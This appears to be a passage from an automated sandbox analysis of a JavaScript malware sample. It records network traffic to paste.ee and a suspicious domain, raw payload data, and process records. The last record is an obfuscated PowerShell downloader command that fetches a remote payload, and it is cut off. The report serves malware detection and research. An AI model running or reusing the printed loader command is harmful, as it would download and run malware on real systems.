                                                                        Dec 11, 2024 12:15:41.818998098 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.819041967 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.819052935 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.819081068 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.823117971 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.823200941 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.823209047 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.830214024 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.830229998 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.830286026 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.830295086 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.870714903 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.964386940 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.964416981 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.964507103 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.964523077 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.964853048 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.969764948 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.969790936 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.969830990 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.969846010 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.969862938 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.969880104 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.975085020 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.975109100 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.975178957 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.975193977 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.975495100 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.975755930 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.975797892 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.975805998 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.975882053 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.975925922 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.976516008 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:58.192677975 CET4970380192.168.2.8199.232.214.172
                                                                        Dec 11, 2024 12:15:58.313817024 CET8049703199.232.214.172192.168.2.8
                                                                        Dec 11, 2024 12:15:58.317071915 CET4970380192.168.2.8199.232.214.172
                                                                        Dec 11, 2024 12:16:22.396562099 CET4971180192.168.2.8192.186.57.30
                                                                        Dec 11, 2024 12:16:22.516252995 CET8049711192.186.57.30192.168.2.8
                                                                        Dec 11, 2024 12:16:22.516331911 CET4971180192.168.2.8192.186.57.30
                                                                        Dec 11, 2024 12:16:22.519522905 CET4971180192.168.2.8192.186.57.30
                                                                        Dec 11, 2024 12:16:22.639154911 CET8049711192.186.57.30192.168.2.8
                                                                        Dec 11, 2024 12:16:23.738961935 CET4971180192.168.2.8192.186.57.30
                                                                        Dec 11, 2024 12:16:48.683516979 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:16:48.803493977 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:16:48.804826021 CET49705443192.168.2.813.107.246.63

                                                                        UDP Packets

                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                        Dec 11, 2024 12:15:12.463572979 CET4980453192.168.2.81.1.1.1
                                                                        Dec 11, 2024 12:15:38.757741928 CET6504953192.168.2.81.1.1.1
                                                                        Dec 11, 2024 12:15:38.899408102 CET53650491.1.1.1192.168.2.8
                                                                        Dec 11, 2024 12:16:21.669677973 CET6499953192.168.2.81.1.1.1
                                                                        Dec 11, 2024 12:16:22.395203114 CET53649991.1.1.1192.168.2.8

                                                                        DNS Queries

                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                        Dec 11, 2024 12:15:12.463572979 CET192.168.2.81.1.1.10x7adeStandard query (0)res.cloudinary.comA (IP address)IN (0x0001)false
                                                                        Dec 11, 2024 12:15:38.757741928 CET192.168.2.81.1.1.10x566dStandard query (0)paste.eeA (IP address)IN (0x0001)false
                                                                        Dec 11, 2024 12:16:21.669677973 CET192.168.2.81.1.1.10x712eStandard query (0)www.yxni.vipA (IP address)IN (0x0001)false

                                                                        DNS Answers

                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                        Dec 11, 2024 12:15:12.608328104 CET1.1.1.1192.168.2.80x7adeNo error (0)res.cloudinary.comresc.cloudinary.com.cdn.cloudflare.netCNAME (Canonical name)IN (0x0001)false
                                                                        Dec 11, 2024 12:15:38.899408102 CET1.1.1.1192.168.2.80x566dNo error (0)paste.ee172.67.187.200A (IP address)IN (0x0001)false
                                                                        Dec 11, 2024 12:15:38.899408102 CET1.1.1.1192.168.2.80x566dNo error (0)paste.ee104.21.84.67A (IP address)IN (0x0001)false
                                                                        Dec 11, 2024 12:16:22.395203114 CET1.1.1.1192.168.2.80x712eNo error (0)www.yxni.vip192.186.57.30A (IP address)IN (0x0001)false

                                                                        HTTP Request Dependency Graph

                                                                        • paste.ee
                                                                        • www.yxni.vip

                                                                        HTTP Packets

                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        0192.168.2.849711192.186.57.30807520C:\Windows\System32\wscript.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Dec 11, 2024 12:16:22.519522905 CET379OUTGET /skhs/?eUim=YYGtc0vZDxBZaqObTq9Zj4kt+153KBc9C1cdleHi+lzAM/tSLZDkT6oQFAP0CoyED8RVRESu2LRjuGrjAaGK171+G03klmygUbeUcuM2AlBa+KZdbA00yG+Kg2RWBqUOrw==&v21=4rqVx HTTP/1.1
                                                                        Accept: */*
                                                                        Accept-Language: en-US,en;q=0.9
                                                                        Host: www.yxni.vip
                                                                        Connection: close
                                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36


                                                                        HTTPS Proxied Packets

                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        0192.168.2.849709172.67.187.2004437892C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        2024-12-11 11:15:40 UTC67OUTGET /r/A7bLj/0 HTTP/1.1
                                                                        Host: paste.ee
                                                                        Connection: Keep-Alive
                                                                        2024-12-11 11:15:41 UTC1273INHTTP/1.1 200 OK
                                                                        Date: Wed, 11 Dec 2024 11:15:40 GMT
                                                                        Content-Type: text/plain; charset=utf-8
                                                                        Transfer-Encoding: chunked
                                                                        Connection: close
                                                                        Cache-Control: max-age=2592000
                                                                        strict-transport-security: max-age=63072000
                                                                        x-frame-options: DENY
                                                                        x-content-type-options: nosniff
                                                                        x-xss-protection: 1; mode=block
                                                                        content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none'
                                                                        CF-Cache-Status: MISS
                                                                        Last-Modified: Wed, 11 Dec 2024 11:15:40 GMT
                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7LXerthTbrPSBUkXlYnbtUrUauy33huCRpfAvaTZyS5R3eqQU9%2BjHozBhM8rrC3k6EbLErmZv%2BvE8r9Rfrpfxh2yqfvdQ1ISIXZ6roOADQIfeongq4CtSCoVJA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                        Server: cloudflare
                                                                        CF-RAY: 8f050ee17ad343dc-EWR
                                                                        alt-svc: h3=":443"; ma=86400
                                                                        2024-12-11 11:15:41 UTC215INData Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 36 35 32 26 6d 69 6e 5f 72 74 74 3d 31 36 34 30 26 72 74 74 5f 76 61 72 3d 36 32 33 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 37 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 31 37 26 72 65 63 76 5f 62 79 74 65 73 3d 36 38 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 37 38 30 34 38 37 26 63 77 6e 64 3d 32 33 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 35 37 32 35 30 30 65 36 37 62 64 35 38 39 32 61 26 74 73 3d 38 39 37 26 78 3d 30 22 0d 0a 0d 0a
                                                                        Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1652&min_rtt=1640&rtt_var=623&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=681&delivery_rate=1780487&cwnd=239&unsent_bytes=0&cid=572500e67bd5892a&ts=897&x=0"
                                                                        2024-12-11 11:15:41 UTC1250INData Raw: 33 35 66 37 0d 0a 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
                                                                        Data Ascii: 35f7==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                                        2024-12-11 11:15:41 UTC1369INData Raw: 6c 6b 39 70 31 6b 79 49 4d 31 4a 4a 38 36 59 6b 74 63 4d 5a 39 71 44 34 77 6e 74 72 76 57 73 61 58 59 32 39 70 41 57 39 61 6b 65 44 51 72 6e 56 79 4e 51 59 44 4d 69 5a 74 4e 76 4a 57 54 6f 6e 43 56 67 64 39 7a 6a 4c 54 34 35 38 55 7a 47 6f 6c 62 69 56 4b 4f 39 2f 5a 74 31 62 76 41 2f 70 30 4b 74 49 7a 33 6b 37 4e 70 38 5a 4a 73 75 77 4b 50 35 59 52 71 6e 68 43 5a 62 74 6d 69 49 57 55 63 53 66 65 7a 34 4c 69 53 62 43 4a 46 52 50 44 49 68 35 68 63 42 39 78 6f 79 66 34 6c 66 6d 63 79 66 73 75 52 37 41 35 56 4e 37 4c 77 34 4b 44 61 76 74 72 38 58 31 49 6a 52 50 48 48 70 72 4f 50 43 59 53 36 61 72 63 5a 6f 58 75 39 52 48 6e 37 6c 50 33 66 57 2f 68 79 70 34 67 4e 42 38 30 73 31 67 39 71 7a 65 65 6f 54 4b 70 32 6d 30 42 69 43 58 74 4f 30 41 47 53 41 5a 75 6c 7a
                                                                        Data Ascii: lk9p1kyIM1JJ86YktcMZ9qD4wntrvWsaXY29pAW9akeDQrnVyNQYDMiZtNvJWTonCVgd9zjLT458UzGolbiVKO9/Zt1bvA/p0KtIz3k7Np8ZJsuwKP5YRqnhCZbtmiIWUcSfez4LiSbCJFRPDIh5hcB9xoyf4lfmcyfsuR7A5VN7Lw4KDavtr8X1IjRPHHprOPCYS6arcZoXu9RHn7lP3fW/hyp4gNB80s1g9qzeeoTKp2m0BiCXtO0AGSAZulz
                                                                        2024-12-11 11:15:41 UTC1369INData Raw: 44 47 64 46 6c 75 4c 51 62 70 31 4d 6a 2b 39 48 38 48 73 63 6f 58 34 70 6c 6b 33 55 61 5a 6b 78 75 39 6c 6d 34 39 46 4c 46 48 42 57 6e 39 5a 78 2b 4c 75 31 39 32 6a 74 63 61 69 55 61 6c 52 39 73 7a 41 4d 79 6a 62 77 58 34 4f 4f 6d 44 51 30 75 70 37 68 37 73 68 38 39 56 64 5a 39 2b 67 34 35 32 44 32 31 4d 55 6f 63 57 5a 4a 44 6a 70 6b 61 73 48 33 59 79 71 34 2f 74 32 76 4c 33 2b 36 34 76 64 7a 4f 6c 79 32 77 6e 78 6d 54 4d 55 7a 48 4b 46 35 45 44 4a 74 42 4a 53 69 7a 63 62 50 37 66 64 39 4e 74 55 78 33 38 6c 5a 4d 5a 34 6d 67 75 53 68 79 51 67 74 66 6d 31 6c 69 6b 62 6d 4e 45 59 35 49 72 4b 41 33 69 6a 55 72 67 62 2f 31 6e 6e 58 5a 35 73 7a 75 6a 38 39 62 31 75 7a 47 5a 31 6e 52 61 7a 51 55 78 69 36 30 79 70 43 4d 6c 2b 78 55 74 54 4c 55 70 2b 68 56 62 51
                                                                        Data Ascii: DGdFluLQbp1Mj+9H8HscoX4plk3UaZkxu9lm49FLFHBWn9Zx+Lu192jtcaiUalR9szAMyjbwX4OOmDQ0up7h7sh89VdZ9+g452D21MUocWZJDjpkasH3Yyq4/t2vL3+64vdzOly2wnxmTMUzHKF5EDJtBJSizcbP7fd9NtUx38lZMZ4mguShyQgtfm1likbmNEY5IrKA3ijUrgb/1nnXZ5szuj89b1uzGZ1nRazQUxi60ypCMl+xUtTLUp+hVbQ
                                                                        2024-12-11 11:15:41 UTC1369INData Raw: 42 35 48 63 73 31 59 70 55 79 64 31 73 64 59 48 6c 4f 4a 6f 6c 32 65 31 76 4a 46 4a 35 71 6e 37 33 58 65 52 48 71 65 6f 65 44 6b 2f 71 4f 4e 4b 62 6e 30 76 5a 67 72 66 35 56 4e 39 47 35 6b 73 55 42 2b 49 2b 75 49 6b 30 7a 57 4c 48 75 59 43 71 6d 4a 70 79 70 6e 51 75 5a 43 50 64 33 4d 57 41 74 79 67 2b 51 38 44 33 7a 44 4e 72 6a 73 54 47 45 6f 2b 6d 63 48 62 41 73 5a 46 30 36 4c 79 44 57 43 64 51 37 53 77 64 61 58 57 79 33 6b 49 52 61 30 33 2f 4d 52 5a 32 6c 77 70 57 36 73 49 6e 55 67 38 54 2f 48 2f 37 76 57 78 52 78 77 5a 47 39 4f 67 76 51 35 50 4f 48 46 53 6a 70 57 68 74 73 38 33 34 50 37 6c 6b 4e 72 73 37 6d 49 61 71 43 45 6a 52 2b 74 5a 4f 53 34 30 77 68 33 46 49 2f 31 6e 77 6a 46 6f 71 42 5a 79 77 69 2b 47 38 55 31 58 4b 6f 32 47 74 50 42 31 6c 72 70
                                                                        Data Ascii: B5Hcs1YpUyd1sdYHlOJol2e1vJFJ5qn73XeRHqeoeDk/qONKbn0vZgrf5VN9G5ksUB+I+uIk0zWLHuYCqmJpypnQuZCPd3MWAtyg+Q8D3zDNrjsTGEo+mcHbAsZF06LyDWCdQ7SwdaXWy3kIRa03/MRZ2lwpW6sInUg8T/H/7vWxRxwZG9OgvQ5POHFSjpWhts834P7lkNrs7mIaqCEjR+tZOS40wh3FI/1nwjFoqBZywi+G8U1XKo2GtPB1lrp
                                                                        2024-12-11 11:15:41 UTC1369INData Raw: 71 64 47 50 38 4b 4b 66 77 63 44 62 55 49 33 73 2f 70 69 49 6c 43 4d 55 4e 55 51 4a 52 4f 74 4a 4f 7a 30 56 71 37 41 67 4f 49 34 67 73 34 2f 38 59 31 4e 31 53 50 65 4b 77 33 79 61 39 34 6d 66 4c 61 68 50 55 56 46 6e 50 43 55 58 68 37 49 38 55 48 6b 31 55 45 54 6c 2f 6f 59 2b 61 2b 73 58 6a 6f 49 50 48 72 79 5a 50 51 4e 74 42 7a 46 51 36 6f 69 41 7a 30 35 66 75 36 4d 6d 39 6b 39 35 79 59 49 52 75 6c 61 71 44 49 41 2b 73 30 31 34 56 4f 62 36 4b 45 6a 75 77 6e 32 71 72 70 55 43 49 72 53 56 72 63 79 77 79 34 49 51 78 74 4f 48 4b 6c 77 62 65 54 4d 63 6a 50 4f 78 70 74 2f 73 38 46 77 30 31 69 43 49 39 73 50 4a 75 39 76 4d 65 32 51 68 76 50 35 50 6c 6e 6c 48 49 37 62 33 62 2f 67 33 6a 44 47 72 63 2b 2f 72 53 56 4c 49 4a 45 35 2f 55 39 59 61 48 63 66 52 73 6e 62
                                                                        Data Ascii: qdGP8KKfwcDbUI3s/piIlCMUNUQJROtJOz0Vq7AgOI4gs4/8Y1N1SPeKw3ya94mfLahPUVFnPCUXh7I8UHk1UETl/oY+a+sXjoIPHryZPQNtBzFQ6oiAz05fu6Mm9k95yYIRulaqDIA+s014VOb6KEjuwn2qrpUCIrSVrcywy4IQxtOHKlwbeTMcjPOxpt/s8Fw01iCI9sPJu9vMe2QhvP5PlnlHI7b3b/g3jDGrc+/rSVLIJE5/U9YaHcfRsnb
                                                                        2024-12-11 11:15:41 UTC1369INData Raw: 6c 30 76 31 2b 51 6f 75 4a 56 35 44 70 42 73 39 72 47 77 50 4e 46 55 56 71 39 54 6f 44 2b 7a 67 73 75 6a 71 4f 46 51 4e 4a 50 6c 6a 34 30 58 79 6f 62 72 52 78 5a 66 4b 75 62 47 59 48 74 6b 38 39 58 4d 30 58 74 4f 6d 6d 61 73 6b 44 64 64 53 50 79 52 43 71 4e 7a 5a 4d 73 56 44 4c 58 30 4b 73 30 70 4a 38 31 4b 31 6a 70 77 59 73 54 6d 68 43 67 5a 73 34 67 55 72 45 38 54 4e 79 46 53 33 5a 37 41 6f 6d 39 44 62 42 61 77 79 6c 59 44 30 37 57 6e 38 51 5a 58 6c 31 33 46 4c 75 34 4f 63 55 4e 39 48 61 6c 5a 41 32 68 4f 66 67 46 78 42 52 42 6d 31 4f 61 53 66 65 6e 72 44 73 39 6e 39 4b 79 57 31 41 54 6d 57 6f 71 50 67 41 52 65 4d 31 4c 70 70 31 35 51 37 4d 57 52 55 32 44 6d 6d 38 6e 77 6f 41 69 67 73 4f 73 62 41 67 4a 41 35 5a 52 30 71 36 74 39 6b 63 7a 59 47 43 33 37
                                                                        Data Ascii: l0v1+QouJV5DpBs9rGwPNFUVq9ToD+zgsujqOFQNJPlj40XyobrRxZfKubGYHtk89XM0XtOmmaskDddSPyRCqNzZMsVDLX0Ks0pJ81K1jpwYsTmhCgZs4gUrE8TNyFS3Z7Aom9DbBawylYD07Wn8QZXl13FLu4OcUN9HalZA2hOfgFxBRBm1OaSfenrDs9n9KyW1ATmWoqPgAReM1Lpp15Q7MWRU2Dmm8nwoAigsOsbAgJA5ZR0q6t9kczYGC37
                                                                        2024-12-11 11:15:41 UTC1369INData Raw: 67 36 79 53 50 2f 72 56 52 72 6b 4b 2f 6d 52 4c 59 5a 5a 6f 49 37 42 51 5a 4b 79 36 2f 50 55 57 6e 38 35 5a 33 34 70 56 4d 61 64 7a 72 75 4c 4d 73 67 6d 54 45 5a 4f 7a 5a 79 46 34 79 59 73 59 44 48 34 6e 4d 6f 45 49 2b 49 72 50 34 57 62 71 57 79 6f 6d 4f 6b 4e 44 6d 58 6b 5a 55 73 37 4d 74 54 6a 42 41 69 79 79 72 74 77 4b 59 7a 4a 7a 57 77 32 76 58 66 77 73 4c 55 39 59 79 38 36 52 4a 43 75 33 61 62 79 65 36 57 52 49 70 5a 71 7a 79 76 72 6d 58 49 68 6a 57 34 53 6b 2f 58 37 71 34 4b 7a 70 34 70 6e 76 35 74 34 37 45 6a 4f 49 52 50 46 4e 54 52 33 32 4b 55 52 50 47 38 46 44 6d 57 4b 74 52 46 33 4a 67 34 36 71 74 72 34 32 63 59 62 78 34 2b 35 36 51 56 32 63 6f 42 58 61 36 59 70 58 4b 4f 41 67 48 74 76 58 59 71 73 76 2f 66 53 33 4c 35 72 4a 41 30 33 52 32 78 2f
                                                                        Data Ascii: g6ySP/rVRrkK/mRLYZZoI7BQZKy6/PUWn85Z34pVMadzruLMsgmTEZOzZyF4yYsYDH4nMoEI+IrP4WbqWyomOkNDmXkZUs7MtTjBAiyyrtwKYzJzWw2vXfwsLU9Yy86RJCu3abye6WRIpZqzyvrmXIhjW4Sk/X7q4Kzp4pnv5t47EjOIRPFNTR32KURPG8FDmWKtRF3Jg46qtr42cYbx4+56QV2coBXa6YpXKOAgHtvXYqsv/fS3L5rJA03R2x/
                                                                        2024-12-11 11:15:41 UTC1369INData Raw: 4f 43 74 74 70 5a 34 75 35 46 4e 7a 66 5a 43 68 72 4e 49 49 74 4d 6b 49 34 62 44 59 75 75 55 70 4b 6c 48 50 79 49 37 68 4f 52 59 50 4a 56 4c 48 5a 74 71 31 59 6d 35 4e 35 58 4c 6d 4b 73 38 72 61 2f 58 32 6a 31 49 54 48 4d 5a 6e 78 54 6e 65 69 42 49 4f 48 6b 7a 58 4c 4f 63 57 69 52 49 43 69 62 6e 66 30 70 49 41 30 62 59 7a 34 38 63 58 41 2f 48 33 46 6d 5a 6a 2b 78 38 38 33 42 31 6b 71 43 72 65 6f 41 2b 4b 5a 47 38 4c 51 63 50 49 70 78 2b 61 33 73 4a 54 37 70 2f 78 36 74 44 5a 42 63 65 55 73 44 58 70 2f 75 5a 55 31 2f 2b 30 63 4f 64 4b 4f 72 62 4c 54 50 35 66 50 76 36 4f 4c 6f 50 6c 36 47 77 6f 58 6a 76 52 57 43 6a 50 79 74 36 33 38 47 6c 57 39 5a 33 59 2f 36 49 39 54 4e 48 32 78 7a 37 42 6f 33 62 56 47 53 52 37 54 53 6e 74 78 77 78 71 2f 73 45 6c 63 54 31
                                                                        Data Ascii: OCttpZ4u5FNzfZChrNIItMkI4bDYuuUpKlHPyI7hORYPJVLHZtq1Ym5N5XLmKs8ra/X2j1ITHMZnxTneiBIOHkzXLOcWiRICibnf0pIA0bYz48cXA/H3FmZj+x883B1kqCreoA+KZG8LQcPIpx+a3sJT7p/x6tDZBceUsDXp/uZU1/+0cOdKOrbLTP5fPv6OLoPl6GwoXjvRWCjPyt638GlW9Z3Y/6I9TNH2xz7Bo3bVGSR7TSntxwxq/sElcT1
                                                                        2024-12-11 11:15:41 UTC1369INData Raw: 6e 31 42 2b 4f 47 67 5a 34 53 47 39 57 53 76 6b 4a 79 71 66 47 6b 6d 62 53 64 50 42 34 43 59 47 64 64 68 4c 6a 4b 72 72 68 30 31 58 70 66 67 6c 30 4a 50 56 77 4f 76 65 58 55 42 45 38 54 58 50 33 76 38 79 37 6e 4a 42 78 50 68 6a 32 2b 52 59 45 6e 36 5a 73 38 34 77 56 76 46 69 36 46 74 34 41 52 4c 77 6c 34 4a 62 53 5a 79 52 43 56 52 44 71 79 36 30 6d 4b 63 57 71 5a 45 2b 4c 71 69 55 55 36 56 48 34 38 79 56 47 66 69 55 44 72 71 47 42 6d 37 48 45 67 53 46 34 6e 63 44 76 6d 59 77 4c 6a 51 52 4b 53 63 38 67 6b 6b 77 32 78 77 5a 42 6e 69 4d 47 7a 36 38 53 38 55 63 42 41 64 6a 49 57 67 64 54 36 34 4d 75 70 6f 6d 4b 7a 67 6d 36 74 30 56 70 6e 73 57 41 4f 76 68 37 68 51 5a 2b 57 72 38 44 37 42 61 4c 75 4e 47 6c 56 34 71 31 7a 47 54 5a 42 6d 64 63 67 67 6b 30 6a 62
                                                                        Data Ascii: n1B+OGgZ4SG9WSvkJyqfGkmbSdPB4CYGddhLjKrrh01Xpfgl0JPVwOveXUBE8TXP3v8y7nJBxPhj2+RYEn6Zs84wVvFi6Ft4ARLwl4JbSZyRCVRDqy60mKcWqZE+LqiUU6VH48yVGfiUDrqGBm7HEgSF4ncDvmYwLjQRKSc8gkkw2xwZBniMGz68S8UcBAdjIWgdT64MupomKzgm6t0VpnsWAOvh7hQZ+Wr8D7BaLuNGlV4q1zGTZBmdcggk0jb


                                                                        Statistics

                                                                        CPU Usage

                                                                        Click to jump to process

                                                                        Memory Usage

                                                                        Click to jump to process

                                                                        High Level Behavior Distribution

                                                                        Click to dive into process behavior distribution

                                                                        Behavior

                                                                        Click to jump to process

                                                                        System Behavior

                                                                        General

                                                                        Target ID:0
                                                                        Start time:06:15:09
                                                                        Start date:11/12/2024
                                                                        Path:C:\Windows\System32\wscript.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\print preview.js"
                                                                        Imagebase:0x7ff64cbb0000
                                                                        File size:170'496 bytes
                                                                        MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                                        Has elevated privileges:false
                                                                        Has administrator privileges:false
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:3
                                                                        Start time:06:15:14
                                                                        Start date:11/12/2024
                                                                        Path:C:\Windows\System32\wscript.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:"C:\Windows\System32\wscript.exe" C:\Windows\Temp\???7????6????2????7.js
                                                                        Imagebase:0x7ff64cbb0000
                                                                        File size:170'496 bytes
                                                                        MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                                        Has elevated privileges:false
                                                                        Has administrator privileges:false
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:4
                                                                        Start time:06:15:14
                                                                        Start date:11/12/2024
                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $orgiasts = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABsAGUAZQBjAGgAbABpAGsAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAeQByAG8AbQBhAG4AaQBhAGMAYQBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAaABhAHAAZQByAHMAIAA9ACAAJABwAHkAcgBvAG0AYQBuAGkAYQBjAGEAbAAuAEQAbwB3AG4